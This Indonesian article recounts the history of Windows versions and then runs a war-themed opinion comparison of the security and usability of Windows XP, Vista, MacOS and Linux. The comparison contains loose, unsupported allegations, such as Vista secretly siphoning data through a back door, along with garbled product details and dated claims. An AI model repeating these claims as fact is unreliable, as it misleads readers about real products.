Pada 25 Juni 1998, Microsoft merilis sebuah sistem operasi Windows baru, yang dikenal sebagai Windows 98. Windows 98 dianggap sebagai revisi minor terhadap Windows 95, tapi secara umum dilihat jauh lebih stabil dan dapat diandalkan dibandingkan dengan pendahulunya, Windows 95. Windows 98 mencakup banyak driver perangkat keras baru dan dukungan sistem berkas FAT32 yang lebih baik yang mengizinkan partisi untuk memiliki kapasitas lebih besar dari 2 gigabyte, sebuah batasan yang terdapat di dalam Windows 95. Dukungan USB di dalam Windows 98 pun juga jauh lebih baik dibandingkan dengan pendahulunya.

Windows 98 mengundang kontroversi saat Microsoft memasukkan penjelajah web Microsoft Internet Explorer ke dalam sistem operasi dan tidak dapat dicabut, sehingga menjadikan Windows Explorer dan GUI Windows mampu menampilkan direktori seolah-olah halaman web. Hal ini membuka kasus baru, yang disebut sebagai Amerika Serikat versus Microsoft, yang menanyakan mengapa Microsoft repot-repot menjaga dominasinya di dalam sistem operasi komputer pribadi untuk berkompetisi dengan para pesaingnya seperti Netscape dan IBM dengan cara yang tidak jujur.

Pada tahun 1999, Microsoft merilis Windows 98 Second Edition, sebuah rilis yang menawarkan banyak peningkatan dibandingkan versi sebelumnya. Internet Connection Sharing, yang merupakan sebuah bentuk dari Network Address Translation, yang mengizinkan beberapa mesin di dalam sebuah jaringan lokal agar dapat menggunakan satu buah jalur koneksi Internet bersama-sama pun diperkenalkan pada versi ini. Banyak masalah minor di dalam Windows yang lama telah dikoreksi, yang menjadikan Windows 98 menurut banyak orang sebagai sebuah versi Windows 9x yang paling stabil di antara semua versi Windows 9x lainnya.

Windows 2000
Microsoft merilis Windows 2000 pada 17 Februari 2000, sebuah versi yang sebelumnya dikenal dengan sebutan Windows NT 5.0 atau "NT 5.0". Versi Windows 2000 ditujukan untuk dua pangsa pasar, yakni pangsa pasar workstation dan juga pangsa pasar server.

Di antara fitur-fitur Windows 2000 yang paling signifikan adalah Active Directory, sebuah model jaringan pengganti model jaringan NT domain, yang menggunakan teknologi yang merupakan standar industri, seperti Domain Name System (DNS), Lightweight Directory Access Protocol (LDAP), dan Kerberos untuk menghubungkan antara sebuah mesin ke mesin lainnya. Windows Terminal Services juga, yang pada Windows NT 4.0 hanya terdapat di dalam satu produk saja, pada Windows 2000 terdapat dalam semua versi server. Fitur-fitur baru yang diadopsi dari Windows 98 juga ditanamkan di dalamnya, seperti Device Manager yang telah ditingkatkan (dengan menggunakan Microsoft Management Console), Windows Media Player, dan DirectX 6.1 (yang memungkinkan sistem operasi berbasis kernel Windows NT untuk menjalankan game). Windows 2000 juga merupakan versi Windows berbasis kernel NT terakhir yang tidak mengharuskan penggunanya untuk melakukan aktivasi terhadapnya.

Meskipun Windows 2000 dapat memperbarui komputer yang sebelumnya menjalankan Windows 98, Windows 2000 tidaklah dianggap sebagai produk yang cocok untuk pengguna rumahan. Alasannya banyak, di antaranya adalah kurangnya device driver untuk banyak perangkat pengguna seperti pemindai (scanner) dan juga pencetak (printer), pada saat dirilis. Situasi tersebut akhirnya berbalik pada saat Windows XP dirilis oleh Microsoft.

Windows 2000 tersedia dalam enam edisi, yakni:

* Windows 2000 Professional
* Windows 2000 Server
* Windows 2000 Advanced Server
* Windows 2000 Datacenter Server
* Windows 2000 Advanced Server Limited Edition
* Windows 2000 Datacenter Server Limited Edition

Windows ME
Pada bulan September 2000, Microsoft memperkenalkan Windows Millennium Edition (dikenal juga dengan sebutan Windows Me atau Windows ME). Versi ini memperbarui Windows 98 dengan dukungan multimedia dan Internet yang lebih baik. Versi ini juga memasukkan fitur "System Restore," yang mengizinkan para penggunanya untuk mengembalikan keadaan sistem ke sebuah titik yang dikenal baik-baik saja, pada saat sistem operasi mengalami kegagalan. System Restore menjadi fitur yang masih dipertahankan pada Windows XP. Versi ini juga memperkenalkan Windows Movie Maker versi pertama.

Windows Me dibuat dalam waktu yang singkat, kira-kira hanya satu tahun, yang ditujukan hanya untuk mengisi kekosongan rilis antara Windows 98 dan Windows XP sebagai sistem operasi untuk kelas rumahan. Fitur-fitur yang terdapat di dalam Windows Me (seperti Internet Explorer 5.5, Windows Media Player 7.0, dan Microsoft DirectX 7.1) bahkan bisa diperoleh secara gratis dari situs Windows Update, kecuali System Restore. Hasilnya, Windows Me pun tidak dianggap sebagai sebuah sistem operasi yang unik di antara saudara-saudaranya dari keluarga Windows 9x, Windows 95 dan Windows 98. Windows Me juga dikritik karena munculnya masalah kestabilan, dan juga dukungan terhadap MS-DOS yang berjalan di dalam modus real. Orang-orang bahkan menyebut Windows Me sebagai Windows Mistake Edition.

Windows Me merupakan sistem operasi terakhir yang dibuat berdasarkan kernel monolithic Windows 9x dan MS-DOS. Versi ini pun menjadi versi terakhir sistem operasi Windows yang tidak memiliki Windows Product Activation (WPA).

Windows XP : menyatukan jajaran kedua produk
Pada tahun 2001, Microsoft memperkenalkan Windows XP (yang memiliki nama kode "Whistler" selama pengembangan. Akhirnya, setelah merilis beberapa versi Windows berbasis Windows 9x dan NT, Microsoft berhasil menyatukan kedua jajaran produk tersebut. Windows XP menggunakan kernel Windows NT 5.1, sehingga menjadikan kernel Windows NT yang terkenal dengan kestabilannya memasuki pasar konsumen rumahan, untuk menggantikan produk Windows 9x yang berbasis 16/32-bit yang sudah menua.

Windows XP merupakan versi sistem operasi Windows yang paling lama (paling tidak hingga saat ini), karena memang berkisar dari tahun 2001 hingga tahun 2007, saat Windows Vista dirilis ke konsumen. Jajaran sistem operasi Windows XP akhirnya diteruskan oleh Windows Vista pada 30 Januari 2007.

Windows XP tersedia dalam beberapa versi:

* Windows XP Home Edition, yang ditujukan untuk pasar desktop dan laptop rumahan.
* Windows XP Home Edition N, sama seperti Home Edition yang biasa, tapi tidak memiliki Windows Media Player, karena memang peraturan Uni Eropa tidak memperbolehkannya.
* Windows XP Professional, yang ditujukan bagi para power user dan pebisnis.
* Windows XP Professional N, sama seperti Professional Edition, tapi tidak memiliki Windows Media Player, karena peraturan Uni Eropa tidak mengizinkannya.
* Windows XP Media Center Edition (MCE), dirilis pada bulan November 2002, merupakan Windows XP Home Edition yang ditujukan untuk dektop dan laptop dengan penekanan pada hiburan rumahan.
o Windows XP Media Center Edition 2003
o Windows XP Media Center Edition 2004
o Windows XP Media Center Edition 2005, yang dirilis pada 12 Oktober 2004.
* Windows XP Tablet PC Edition, yang ditujukan untuk PC Tablet (PC dengan layar sentuh)
o Windows XP Tablet PC Edition 2005
* Windows XP Embedded, yang ditujukan untuk sistem benam (embedded system)
* Windows XP Starter Edition, yang ditujukan untuk para pengguna komputer di beberapa negara berkembang.
* Windows XP Professional x64 Edition, yang dirilis pada 25 April 2005 untuk sistem-sistem rumahan dan workstation yang menggunakan prosesor 64-bit yang berbasiskan set instruksi x86-64 (AMD64 atau Intel EM64T).
* Windows XP 64-bit Edition, merupakan sebuah versi Windows XP yang ditujukan untuk jajaran prosesor Intel Itanium, yang mempertahankan kompatibilitas dengan aplikasi 32-bit dengan menggunakan emulator perangkat lunak. Versi ini sama saja dengan Windows XP Professional, dari segi fitur-fiturnya. Produk ini dihentikan pada bulan September 2005 saat vendor terakhir workstation berbasis prosesor Itanium menghentikan produk-produknya sebagai "workstation", karena memang mereka cenderung memfokuskan Itanium sebagai basis komputer server.
o Windows XP 64-bit Edition 2003, dibuat berbasiskan basis kode Windows NT 5.2 (sama seperti Windows Server 2003).

Windows Sever 2003
Pada tanggal 24 April 2003, Microsoft meluncurkan Windows Server 2003, sebuah pembaruan untuk sistem operasi Windows 2000 Server, yang menawarkan banyak fitur-fitur keamanan yang baru, pemandu "Manage Your Server wizard" yang menyederhanakan peranan sebuah mesin yang menjalankannya, dan juga peningkatan kinerja. Windows Server 2003 menggunakan kernel Windows NT versi 5.2.

Di dalam Windows Server 2003, beberapa layanan yang tidak terlalu dibutuhkan di dalam lingkungan server dinonaktifkan secara default, terutama "Windows Audio" dan "Themes" demi alasan kestabilan; Agar dapat menggunakan suara dan tampilan yang sama dengan Windows XP, pengguna harus mengaktifkannya secara manual, melalui snap-in Microsoft Management Console Services.msc Selain itu, akselerasi perangkat keras untuk kartu grafis juga dimatikan; lagi-lagi pengguna harus mengaktifkannya secara manual, tentu saja jika device driver yang digunakan "bisa dipercayai".

Pada bulan Desember 2005, Microsoft merilis Windows Server 2003 R2, yang merupakan Windows Server 2003 Service Pack 1 ditambah dengan beberapa paket tambahan. Di antara semua fitur-fitur barunya adalah fitur-fitur manajemen untuk kantor-kantor cabang, dan integrasi identitas yang luas.

Windows Server 2003 tersedia dalam lima buah edisi:

* Windows Server 2003, Web Edition
* Windows Server 2003, Standard Edition
* Windows Server 2003, Enterprise Edition (32-bit dan 64-bit)
* Windows Server 2003, Datacenter Edition
* Windows Server 2003, Small Business Server

Windows Fundamentals for Legacy PCs sebagai platform thin client
Pada bulan Juli 2006, Microsoft merilis sebuah versi Windows XP Service Pack 2, yang ditujukan untuk pasar thin-client, yang disebut sebagai Windows Fundamentals for Legacy PCs (WinFLP). WinFLP hanya tersedia bagi para pelanggan Microsoft Software Assurance. Tujuan dibuatnya WinFLP adalah untuk memberikan pilihan upgrade kepada para pelanggannya yang masih menggunakan Windows 95, Windows 98, Windows Me, dan Windows NT Workstation. Sebagian besar aplikasi pengguna dijalankan di atas mesin jarak jauh dengan menggunakan Terminal Services atau Citrix.

Windows Vista
Setelah meraih kesukesan besar dengan Windows XP, Microsoft tidak lantas berhenti begitu saja mengembangkan Windows. Versi terbaru dari Windows, disebut dengan Windows Vista, dirilis pada tanggal 30 November 2006 [1] bagi kalangan bisnis sementara untuk kalangan pengguna rumahan dirilis pada tanggal 30 Januari 2007. Windows Vista memang dicanangkan agar memiliki keamanan yang lebih tangguh dibandingkan dengan versi-versi sebelumnya, dengan memperkenalkan sebuah modus pengguna yang terbatas, yang disebut sebagai User Account Control (UAC), untuk menggantikan filosofi "administrator-by-default" yang diberlakukan pada Windows XP. Windows Vista juga memperkenalkan fitur grafik yang jauh lebih "memikat", yang disebut dengan Windows Aero GUI, aplikasi yang baru (seperti halnya Windows Calendar, Windows DVD Maker dan beberapa game baru termasuk Chess Titans, Mahjong, dan Purble Place). Selain itu, Windows Vista juga menawarkan versi Microsoft Internet Explorer yang lebih aman, serta Windows Media Player versi baru (versi 11).
Windows Vista menggunakan nomor versi 6.0, sehingga memang terdapat perbedaan versi yang signifikan jika dibandingkan dengan Windows XP yang menggunakan nomor versi 5.1 atau Windows Server 2003 (5.2). Karena, memang Windows Vista memiliki banyak perbedaan yang mendasar, khususnya pada bagian arsitektur dasar sistem operasi.

Windows Vista dijual dalam beberapa edisi:

* Windows Vista Starter
* Windows Vista Home Basic
* Windows Vista Home Premium
* Windows Vista Business
* Windows Vista Enterprise
* Windows Vista Ultimate

Windows Home Server
Windows Home Server (sebelumnya memiliki nama kode Q singkatan dari Quattro) merupakan sebuah produk server yang diturunkan dari Windows Server 2003, yang didesain khusus untuk digunakan oleh para konsumen dari pengguna rumahan. Sistem operasi ini diperkenalkan pada tanggal 7 Januari 2007 oleh Bill Gates. Windows Home Server dapat dikonfigurasikan dan dipantau dengan menggunakan program console yang dapat diinstalasikan pada sebuah PC klien. Windows ini memiliki fitur Media Sharing, backup terhadap drive lokal dan drive jarak jauh, dan duplikasi berkas.

Windows Server 2008
Windows Server 2008, adalah sebuah versi baru Windows Server, yang dijadwalkan untuk dirilis pada tanggal 27 Februari 2008. Pada saat pengembangannya, Windows Server memiliki nama kode "Windows Server Codenamed Longhorn." Windows Server 2008 dibangun di atas beberapa keunggulan teknologi dan keamanan yang pada awalnya diperkenalkan dengan Windows Vista, dan ditujukan agar bisa lebih modular secara signifikan, ketimbang pendahulunya, Windows Server 2003.

Windows Xp, Vista, MacOS dan Linux

Perang terbuka sudah terjadi tanpa kita sadari. Dari kubu Windows, XP dan Vista, Linux dari Ubuntu dan MacOS dari Macintosh bertempur melawan pasukan hacker dan penyusup. Keempat pasukan Sistem Operasi tersebut bertugas harus melindungi beberapa istana di 4 zona peperangan. Namun pertempuran sengit ini tak jarang membawa warga dunia menjadi korban akibat ketidak tahuan, seperti misalnya ketika Windows Vista secara diam-diam melakukan penyedotan data dari pintu belakang, atau ketika MacOs secara sembunyi-sembunyi beraliansi dengan sebuah trojan berbahaya. Untuk itulah mari kita ikut bergerilya dalam perang dunia ini untuk mengetahui pasukan mana yang kita gunakan untuk melindungi kita.

Sebelum kita ikut bergerilya marilah kita ke kantor kepolisian untuk memeriksa catatan kriminal dari 4 Sistem Operasi yang kita percayakan menghadapi para hacker. Ternyata tidak satupun dari Sistem operasi tersebut yang benar-benar memiliki catatan bersih, masing-masing memiliki catatan kriminal, yaitu MacOS pernah tertangkap akibat mengadakan kerjasama dengan virus trojan, Windows XP memiliki catatan sebagai pelaku pengungkap data, Windows Vista sebagai pemasok POPUP dan Linux yang sangat fanatik input prompt. Okelah itu hanya sekedar catatan hitam masa lalu, mari kita terjun ke 4 zona tempat terjadinya pertempuran sengit ini.

Di zona keamanan berinternet, ternyata windows XP dan Vista menjadi sasaran utama serangan para hacker dunia, namun walaupun demikian XP

dan Vista ternyata mampu membendung serangan tersebut dengan baik lewat firewall yang otomatis berjalan ketika mulai dijalankan. Namun ternyata para hacker tidak kalah ide, mereka menyerang lewat celah Internet Explorer 7 yang memang telah terbukti memiliki banyak kelemahan, walaupun Windows senantiasa menutupi celah-celah keamanan tersebut lewat update yang tiap 18 hari namun keadaan ini cukup membahayakan. Untuk mengatasinya, warga dunia disarankan untuk senantiasa mengupdate internet explorer atau memakai browser yang terbukti lebih aman yakni: Safari dan Firefox. Akibat serangan ini, di zona keamanan berinternet, windows XP harus merelakan 2 istana yang dijaganya terebut oleh para hacker, sedangkan windows Vista dengan penjagaan pintu gerbang yang ketat hanya kehilangan 1 istana di zona ini. Linux dan MacOS di zona ini boleh agak berlega hati karena tidak begitu dilirik untuk diserang oleh para hacker sehingga kelima istana yang mereka jaga tetap aman. Di zona ini Linux dan MacOS unggul.

Peperangan di zona keamanan PC, mengungkap banyak fakta akan kelemahan beberapa pasukan Sistem Operasi. Pasukan Windows XP, Vista dan Linux Ubuntu ternyata lemah terhadap penjagaan pintu login berpassword. Hanya dengan sebuah CD darurat, password pintu login WIndows XP, Vista dan Linux dapat dibobol. Begitu juga pasukan MacOS ternyata lemah pada masalah ini, hanya cukup dengan menekan kombinasi tombol [Apple] + [S] pada saat boot , data pada PC dapat diakses oleh setiap orang. Hal ini menyebabkan masing-masing pasukan kehilangan 1 istana. Istana yang lain, di wilayah enkripsi data keempat pasukan Sistem Operasi ternyata memiliki sistem enkripsi folder yang mudah dioperasikan. MacOS menggunakan FileVault, Linux dengan TrusCrypt dan Windows XP/Vista dengan sistem Encrypted File System (EFS). Namun dari semua itu ternyata Windows Vista lebih unggul karena dapat melindungi lebih baik, dimana seluruh harddisk dapat dienkripsi hanya dengan beberapa kali klik. Vista berhasil mempertahankan istananya sedangkan yang lain harus kehilangan istana setelah pertempuran yang sangat hebat dalam waktu yang lama. Selanjutnya, di istana terjadinya backup data pertempuran juga tidak kalah sengit. MacOS unggul dalam wilayah ini dengan sistem Time Machine nya. Windows XP melakukan backup dengan 2 tahap lewat System Restore, namun Windows Vista yang juga memiliki system restore dengan tambahan Salinan Data Bayangan seharusnya mampu lebih baik namun karena salah satu anggota pasukannya yakni Windows Vista versi Home tidak dilengkapi dengan layanan ini, mengakibatkan windows Vista harus rela kehilangan istana backup. Pasukan Linux justru lebih parah lagi, dengan sistem backup gratisan yang terlalu banyak dan tidak jelas mengakibatkan Pasukan ini lemah dan juga harus kehilangan istananya. Di zona keamanan PC ini MacOS dan XP unggul.

Di Zona Pengoperasian, terdapat 3 istana yang harus dijaga yakni Pencarian File, Instalasi Software dan File-Manager. Pada pencarian File, windows XP ternyata tidak tampil mengesankan. MacOS dengan sistem pencarian Spotlight terbukti mampu melakukan pencarian file secara kilat yang juga ditiru oleh Linux dan Windows Vista. Sedangkan untuk kemampuan seperti itu, windows XP harus memiliki tools tambahan. Dalam instalasi software, kecanggihan windows xp dan vista dalam menginstal sebuah software yang didownload ataupun dibeli serta murahnya biaya yang dikeluarkan untuk menginstal program gratis lewat Packet Manager yang dimiliki Linux, ternyata tak mampu menandingi kehebatan instalasi tradisional di MacOS. Lho kok instalasi tradisional lebih hebat dari yang canggih? Yup.. instalasi tradisional MacOS dimana kita harus mengekstrak paket-paket software dana bentuk Zip lalu meletakkannya di dalam menu ternyata memiliki kelebihan pada saat kita membuang software. Di MacOS, kita tidak memerlukan uninstaller dan jika kita membuang program hanya cukup dengan menghapus foldernya saja tanpa kuatir akan ada sisa pada sistem registry. Di istana pengelolaan File Manager, windows XP tampil buruk karena tidak mampu menampilkan preview isi file seperti halnya yang terdapat pada Windows Vista, Linux dan MacOs. Di zona pengoperasian ini windows XP harus menjadi pecundang.

Di zona terakhir yakni Zona Driver (bukan sopir lho.. melainkan software pengenal hardware), pasukan dari kubu windows menunjukkan kemampuannya dalam membaca lebih hardware. Windows XP mampu membaca 10.000 hardware sedangkan windows Vista dua kali lebih banyak. Walaupun Linux dikembangkan oleh banyak orang, namun ternyata lemah dalam masalah Driver ini karena driver yang tersedia tidak menyeluruh. Sedangkan MacOS justru memiliki sedikit driver karena lebih menyerahkan masalah driver ini kepada pengembang komersil dengan filosofi bahwa Is Okay mengeluarkan uang lebih banyak asalkan dapat berfungsi tanpa masalah.

Dari peperangan di atas dapat kita sumpulkan bahwa MacOS merupakan pasukan terbaik pertama dengan desain yang elegan dan sistem yang aman namun memiliki kelemahan pada pilihan hardware dan softwarenya. Di tempat kedua diduduki oleh Windows Vista dengan keamanan yang lebih baik walaupun kita harus membeli ulang banyak software jika ingin optimal. Linux menduduki posisi ketiga karena tingkat keamanannya yang tinggi namun berhubung banyaknya pengembang sistem operasi ini mengakibatkan penggunaannya masih terlalu rumit. Windows XP harus rela menduduki posisi terakhir, karena walaupun dengan service pack 2, windows XP masih belum sepenuhnya aman.